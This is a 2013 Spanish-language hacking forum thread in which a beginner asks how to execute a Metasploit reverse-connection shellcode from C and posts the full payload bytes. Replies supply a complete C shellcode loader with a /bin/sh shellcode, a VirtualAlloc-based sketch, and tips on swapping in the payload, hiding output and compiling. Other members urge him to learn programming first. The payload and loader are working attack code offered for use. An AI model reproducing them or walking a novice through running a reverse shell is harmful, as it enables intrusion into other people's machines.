[SOLUCIONADO] ¿Qué hago con la shellcode?

Iniciado por Metadato, Junio 30, 2013, 08:19:16 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Junio 30, 2013, 08:19:16 AM Ultima modificación: Octubre 28, 2013, 07:59:02 AM por Expermicid
Hola a todos los usuarios de Underc0de, en esta ocasión les quiero compartir mi duda, por si alguien puede resolverla, el tema va de shellcodes, ya me he informado de que és una shellcode y tal.. Tengo una shellcode maliciosa generada por Metasploit (es un payload de conexión inversa), ¿que código en C / C++ habría que hacer para ejecutar ese shellcode? (si ya se que Metasploit puede generar un ejecutable, también tengo constancia del shellcode2exe, pero yo quiero saber el código en C / C++ que habría que hacer para ejecutar la shellcode para aprender más a fondo el funcionamiento de las shellcodes...)

PD: Si necesitan la shellcode se lo puedo proporcionar...

Saludos!!!

Simplemente necesitas tener la shellcode mapeada en memoria con privilegios de ejecución... Puedes hacerlo con VirtualAlloc() o hacer uso de los _emit para meter directamente en tu ejecutable la shellcode.

Una vez la tengas un su sitio simplemente defines el puntero como función y lo llamas.

Un esbozo:
Código: cpp

PVOID myMem = VirtualAlloc(...);
memcpy(myMem, shellcode_array, sizeof(shellcode_array));
myMem();


Saludos y suerte :)
I code for $$$.

(PGP ID 0xCC050E77)
ASM, C, C++, VB6... skilled [malware] developer

Junio 30, 2013, 09:57:36 AM #2 Ultima modificación: Junio 30, 2013, 10:12:12 AM por Metadato
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Simplemente necesitas tener la shellcode mapeada en memoria con privilegios de ejecución... Puedes hacerlo con VirtualAlloc() o hacer uso de los _emit para meter directamente en tu ejecutable la shellcode.

Una vez la tengas un su sitio simplemente defines el puntero como función y lo llamas.

Un esbozo:
Código: cpp

PVOID myMem = VirtualAlloc(...);
memcpy(myMem, shellcode_array, sizeof(shellcode_array));
myMem();


Saludos y suerte :)

Gracias por tu ayuda, pero recién acabo de adentrarme en el lenguaje de C / C++ , ¿Podrías decirme donde colocar la shellcode en tu código? Y a ser posible explicarlo un poco para aprender.

¿Y la shellcode la tengo que dejar en un solo string (quitando las "", las comas, el + y los espacios) o la dejo tal cual está?

Bueno mejor, te dejo la shellcode y tu ya me dices compañero:

Código: php

buf =
"\xbe\x78\x14\xef\x42\xd9\xc9\xd9\x74\x24\xf4\x5f\x2b\xc9" +
"\xb1\x49\x31\x77\x14\x83\xef\xfc\x03\x77\x10\x9a\xe1\x13" +
"\xaa\xd3\x0a\xec\x2b\x83\x83\x09\x1a\x91\xf0\x5a\x0f\x25" +
"\x72\x0e\xbc\xce\xd6\xbb\x37\xa2\xfe\xcc\xf0\x08\xd9\xe3" +
"\x01\xbd\xe5\xa8\xc2\xdc\x99\xb2\x16\x3e\xa3\x7c\x6b\x3f" +
"\xe4\x61\x84\x6d\xbd\xee\x37\x81\xca\xb3\x8b\xa0\x1c\xb8" +
"\xb4\xda\x19\x7f\x40\x50\x23\x50\xf9\xef\x6b\x48\x71\xb7" +
"\x4b\x69\x56\xa4\xb0\x20\xd3\x1e\x42\xb3\x35\x6f\xab\x85" +
"\x79\x23\x92\x29\x74\x3a\xd2\x8e\x67\x49\x28\xed\x1a\x49" +
"\xeb\x8f\xc0\xdc\xee\x28\x82\x46\xcb\xc9\x47\x10\x98\xc6" +
"\x2c\x57\xc6\xca\xb3\xb4\x7c\xf6\x38\x3b\x53\x7e\x7a\x1f" +
"\x77\xda\xd8\x3e\x2e\x86\x8f\x3f\x30\x6e\x6f\xe5\x3a\x9d" +
"\x64\x9f\x60\xca\x49\xad\x9a\x0a\xc6\xa6\xe9\x38\x49\x1c" +
"\x66\x71\x02\xba\x71\x76\x39\x7a\xed\x89\xc2\x7a\x27\x4e" +
"\x96\x2a\x5f\x67\x97\xa1\x9f\x88\x42\x65\xf0\x26\x3d\xc5" +
"\xa0\x86\xed\xad\xaa\x08\xd1\xcd\xd4\xc2\x7a\x67\x2e\x85" +
"\x44\xdf\x46\xd0\x2d\x1d\xa7\xcb\xf1\xa8\x41\x81\x19\xfc" +
"\xda\x3e\x83\xa5\x91\xdf\x4c\x70\xdc\xe0\xc7\x76\x20\xae" +
"\x2f\xf3\x32\x47\xc0\x4e\x68\xce\xdf\x65\x07\xef\x75\x81" +
"\x8e\xb8\xe1\x8b\xf7\x8f\xad\x74\xd2\x9b\x64\xe0\x9d\xf3" +
"\x88\xe4\x1d\x04\xdf\x6e\x1e\x6c\x87\xca\x4d\x89\xc8\xc7" +
"\xe1\x02\x5d\xe7\x53\xf6\xf6\x8f\x59\x21\x30\x10\xa1\x04" +
"\xc0\x6d\x74\x61\x46\x87\xf2\x81\x8a"



Gracias de nuevo y saludos!!

Código: c

#include <stdio.h>
#include <string.h>

char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc, char **argv)
{
printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code));
(*(void(*)()) code)();
return 0;
}


Te sirve?

Sa1uDoS

Junio 30, 2013, 12:03:38 PM #4 Ultima modificación: Junio 30, 2013, 12:15:02 PM por Metadato
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Código: c

#include <stdio.h>
#include <string.h>

char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc, char **argv)
{
printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code));
(*(void(*)()) code)();
return 0;
}


Te sirve?

Sa1uDoS

Claro, por que no, ¿pero esa shellcode es la mía o tengo que poner la mía en un solo string?
Pero les pido por favor que expliquen un poco el código para que pueda comprender mejor el funcionamiento y aprender.

Ese es un código de Sagrini.

Donde pone code[]="..." pones tu shellcode ;).

Sa1uDoS

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Ese es un código de Sagrini.

Donde pone code[]="..." pones tu shellcode ;).

Sa1uDoS

Graacias de verdad, ¿podrías explicar un poco el funcionamiento de este código si no és mucho pedir?

Saludos compañero.

Tienes un array de char, cada char ocupa 1 byte, en el metes la shellcode byte a byte.

El printf imprime la longitud de la shellcode.

(*(void(*)()) code)();

Simplemente llama a code como si fuera una función sin parámetros y que no devuelve ningún valor.

Sa1uDoS

Junio 30, 2013, 04:13:35 PM #8 Ultima modificación: Junio 30, 2013, 04:19:36 PM por Metadato
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Tienes un array de char, cada char ocupa 1 byte, en el metes la shellcode byte a byte.

El printf imprime la longitud de la shellcode.

(*(void(*)()) code)();

Simplemente llama a code como si fuera una función sin parámetros y que no devuelve ningún valor.

Sa1uDoS

Grácias por su tiempo compañero!! Una última cosa, en el printf el texto TinShell V1.0 : By Sagrini : %d bytes\n ¿Se podría modificar todo, menos el %d bytes\n? Por ejemplo, dejar sólo el %d bytes\n para qué no se muestre ningún texto al ejecutarlo....

¿Se puede compilar con un compilador de C++ (Dev C++)? Por qué si no me equivoco, esta codeado en C.

Ahora sólo falta testearlo!!

Saludos!!!

Sí, es C, puedes quitar la sentencia del printf. Solo muestra la longitud de la shellcode, es algo opcional.

Puedes compilar con gcc o g++ como quieras, lo suyo, por ser C, es compilar con gcc ;). (Dev-C++ es un IDE, bastante obsoleto por cierto, te recomiendo usar otro como Code::Blocks).

Sa1uDoS

Raro será que tengas permisos de ejecución declarando así la shellcode :-\ DEP lo impedirá...
I code for $$$.

(PGP ID 0xCC050E77)
ASM, C, C++, VB6... skilled [malware] developer

No se en Win, no lo toco demasiado, pero en Linux funciona ;).

Debería funcionar dándole los permisos adecuados no?

Sa1uDoS

Junio 30, 2013, 06:45:54 PM #12 Ultima modificación: Junio 30, 2013, 06:47:59 PM por Metadato
Karcrack, ¿podrías poner tu código completo con mi shellcode ó con otra shellcode más corta (si te és mucho trabajo poner la mía) y explicarlo un poco? Supongo que es algo pesado... Pero me harías un GRAN favor, gracias!!

Metadato veo que recien estas aprendiendo y seria mas que bien que te pongas a investigar, y eso de hacer esos cambios en el còdigo me suena a lamer con todo respeto, deberias  de ponerte a revisar enserio y no modificar ni hacerte validar tu codigo!

Regards,
Snifer
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



Junio 30, 2013, 07:23:56 PM #14 Ultima modificación: Junio 30, 2013, 07:28:23 PM por Metadato
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Metadato veo que recien estas aprendiendo y seria mas que bien que te pongas a investigar, y eso de hacer esos cambios en el còdigo me suena a lamer con todo respeto, deberias  de ponerte a revisar enserio y no modificar ni hacerte validar tu codigo!

Regards,
Snifer

Créeme antes de postear investigo hasta donde llegan mis conocimientos, y no pretendo modificar nada, solo quiero aprender manejando los códigos, para comprenderlos.

Te doy la razón en parte, pero por desgracia no tengo tanto tiempo para aprender un lenguaje de programación a fondo para hacer sólo una cosa (lo que pido en éste post).

De todos modos gracias por tu consejo y cuando tenga tiempo empezaré a leerme manuales, papers y todo lo que encuentre sobre este lenguaje... Antes de ponerme a ello: ¿Que diferencias hay entre C y C++ , cual me conviene?

Saludos!

Recomendación... primero aprende C o cualquier otro lenguaje de programación, aprende desde lo mínimo hasta donde puedas y después intenta meterte en el mundo de los exploits porq... si no sabes programar como sabras en q sector de memoria están las cosas, osea no sabes ni lo que es un array por lo q veo, y eso realmente es bacico, aprende a programar antes de proseguir... sino la gente te va a estar haciendo tu trabajo y nunca vas a aprender por mas q llores grites o patalees, eso es la programación bro prueba y error 1000 veces hasta q sepas q estas haciendo y por favor estudíate un lenguaje de programación enserio, para saber que es una variable cuales son los bloques de programación aprende programación estructurada y luego programación orientada a objetos, yo te recomiendo empezar por python es lindo potente y simple, y puedes generar exploits

Entonces él dijo, "cruzad con vuestras tropas y atacad porque es lo único que le queda a nuestro pueblo...".

Sí, me pondré a ello, empezaré a leerme manuales y papers cuando tenga tiempo.. Pero si alguien me puede dar el código ya hecho se lo agradecería =D

Saludos!!